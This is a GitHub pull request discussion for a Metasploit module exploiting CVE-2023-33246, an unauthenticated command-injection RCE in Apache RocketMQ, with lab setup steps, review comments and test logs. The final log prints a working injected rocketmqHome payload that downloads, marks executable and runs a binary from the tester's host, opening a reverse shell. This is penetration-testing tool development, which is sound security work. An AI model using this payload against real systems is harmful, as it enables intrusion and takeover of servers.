Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Apache RocketMQ update config RCE (CVE-2023-33246) #18082

Merged

Conversation

jheysel-r7
Copy link
Contributor

@jheysel-r7 jheysel-r7 commented Jun 8, 2023

This module exploits an RCE in Apache RocketMQ. Vulnerable RocketMQ instances leave a number of different components exposed on the extranet and are accessible without authentication. The components include the NameServer, Broker, and Controller. Using an API request to the Broker, one can update the Broker's configuration file. The request to update the Broker's configuration file is susceptible to command injection which enables a metasploit-framework user to obtain a meterpreter session in the context of the user running Apache RocketMQ.

Verification Steps

    docker pull apache/rocketmq:4.9.4
    # Start nameserver
    docker run --rm --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
    # Start Broker
    docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
  • Start msfconsole
  • Do: use exploit/multi/http/apache_rocketmq_update_config.
  • Set the RHOST LHOST and FETCH_SRVHOST options.
    • Note you may have to shorten FETCH_FILENAME as it's length is randomized and can push the payload over the size limit
  • Run the module.
  • Do: exploit
  • Receive a session in the context of the user running the RocketMQ application.

end

def check
data = '{"code":105,"extFields":{"Signature":"/u5P/wZUbhjanu4LM/UzEdo2u2I=","topic":"TBW102","AccessKey":"rocketmq2"},"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":401}'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would be interesting to understand where the Signature is from.

@h00die h00die mentioned this pull request Jun 16, 2023
6 tasks
@h00die
Copy link
Contributor

h00die commented Jun 16, 2023

Per discussion on slack with @jheysel-r7 , I'm a little worried about pulling the broker from the version response. Mainly because it contains an array, and that array may (not sure, didn't check source code, just thinking) contain DNS names, and hosts other than the one we want to target. It returns an array, so no telling how many results you may have. What happens if the host you set in rhost(s) isn't in there? we def don't want to just hit ALL those IPs as they may be out of scope.

While we were discussing, I wrote some pseudo code on how I'd go about pulling the port with a backup of the default port for the application. Posting here for posterity.

target_port = nil
hosts.each do |h|
  unless h.include?(datastore['rhosts'])
    print_status("Ignoring #{h}, not in rhosts")
    next
  end
  target_port = h # somehow pull the port off
end

if target_port.nil?
  print_status('autodetection failed, assuming default port of 10911')
  target_port = 10911
end

'DisclosureDate' => '2023-05-23',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

config_changes

@h00die
Copy link
Contributor

h00die commented Jun 16, 2023

msf6 exploit(multi/http/apache_rocketmq_update_config) > run

[*] Started reverse TCP handler on 1.1.1.1:8888 
[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:9876 - RocketMQ version V4.9.4 found with brokers: [{"brokerAddrs"=>{"0"=>"172.17.0.3:10911"}, "brokerName"=>"broker-a", "cluster"=>"DefaultCluster"}]
[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
[+] 127.0.0.1:9876 - Payload length: 242, (must not exceed 255 characters)
[*] Sending stage (3045348 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 172.17.0.3:57470) at 2023-06-16 16:40:28 -0400

meterpreter > getuid
Server username: rocketmq

so thats good news :)

@jheysel-r7 jheysel-r7 changed the title Apache RocketMQ update config RCE Apache RocketMQ update config RCE (CVE-2023-33246) Jun 27, 2023
@jheysel-r7 jheysel-r7 marked this pull request as ready for review June 27, 2023 22:23
@cdelafuente-r7 cdelafuente-r7 self-assigned this Jun 29, 2023
@cdelafuente-r7
Copy link
Contributor

@msjenkins-r7 test this please

@h00die
Copy link
Contributor

h00die commented Jun 29, 2023

I know this wasn't part of the original exploit, but is there a way to get the rocketmq config? Since we're changing to the RCE, it would be nice if we changed it back after exploitation. or worst case, at least print if for the user to set back.

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @jheysel-r7 for this module! I just left a few comments for you to review when you got a chance.

@jheysel-r7
Copy link
Contributor Author

I know this wasn't part of the original exploit, but is there a way to get the rocketmq config? Since we're changing to the RCE, it would be nice if we changed it back after exploitation. or worst case, at least print if for the user to set back.

Good call @h00die. I've added the on_new_session method. Once the module receives a session it determines the original $ROCKETMQ_HOME and reruns the exploit except instead of injecting the payload into $ROCKETMQ_HOME it injects the original value which should reset the config. Let me know what you think.

@jheysel-r7
Copy link
Contributor Author

@msjenkins-r7 test this please

I think CI test will fail until #18122 gets landed as this PR uses methods only present in #18122

@jheysel-r7 jheysel-r7 force-pushed the apache-rocketmq-update-config-rce branch from cabddde to aae8ba3 Compare July 5, 2023 16:36
@jheysel-r7 jheysel-r7 force-pushed the apache-rocketmq-update-config-rce branch from aae8ba3 to f1b5cd4 Compare July 5, 2023 16:39
@cdelafuente-r7
Copy link
Contributor

Thanks @jheysel-r7 ! Everything looks good for me now. I tested against RocketMQ version V4.9.4 and it works great! I'll go ahead and land it.

Example output

msf6 exploit(multi/http/apache_rocketmq_update_config) > exploit rhosts=127.0.0.1 lhost=192.168.100.1 fetch_srvhost=192.168.100.1 verbose=true

[*] Command to run on remote host: curl -so ./YImvJcqgGNts http://192.168.100.1:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x ./YImvJcqgGNts; ./YImvJcqgGNts &
[*] Fetch Handler listening on 192.168.100.1:8080
[*] HTTP server started
[*] Adding resource /DETWAARvN-XS_WA2cHnmIg
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
[*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911
[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
[*] 127.0.0.1:9876 - Payload command to be executed: -c $@|sh . echo bash -c 'curl -so ./YImvJcqgGNts http://192.168.100.1:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x ./YImvJcqgGNts; ./YImvJcqgGNts &'
[*] 127.0.0.1:9876 - Payload is `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=-c $@|sh . echo bash -c 'curl -so ./YImvJcqgGNts http://192.168.100.1:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x ./YImvJcqgGNts; ./YImvJcqgGNts &';

[*] Client 192.168.100.1 requested /DETWAARvN-XS_WA2cHnmIg
[*] Sending payload to 192.168.100.1 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 192.168.100.1
[*] 127.0.0.1:9876 - Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted
[+] 127.0.0.1:9876 - Determined the original $ROCKETMQ_HOME: /home/rocketmq/rocketmq-4.9.4
[*] 127.0.0.1:9876 - Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value
[*] 127.0.0.1:9876 - Payload command to be executed: /home/rocketmq/rocketmq-4.9.4
[*] 127.0.0.1:9876 - Payload is `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=/home/rocketmq/rocketmq-4.9.4;

[*] Meterpreter session 1 opened (192.168.100.1:4444 -> 192.168.100.1:54942) at 2023-07-06 09:11:41 +0200

meterpreter > getuid
Server username: rocketmq
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.9.2009 (Linux 5.10.76-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 6, 2023
@cdelafuente-r7 cdelafuente-r7 merged commit df4a03c into rapid7:master Jul 6, 2023
35 checks passed
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an exploit module that leverages an RCE in Apache RocketMQ. Due to an access control issue, one can update the Broker's configuration file without authentication and obtain remote code execution in the context of the user running Apache RocketMQ. This vulnerability is identified as CVE-2023-33246.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

6 participants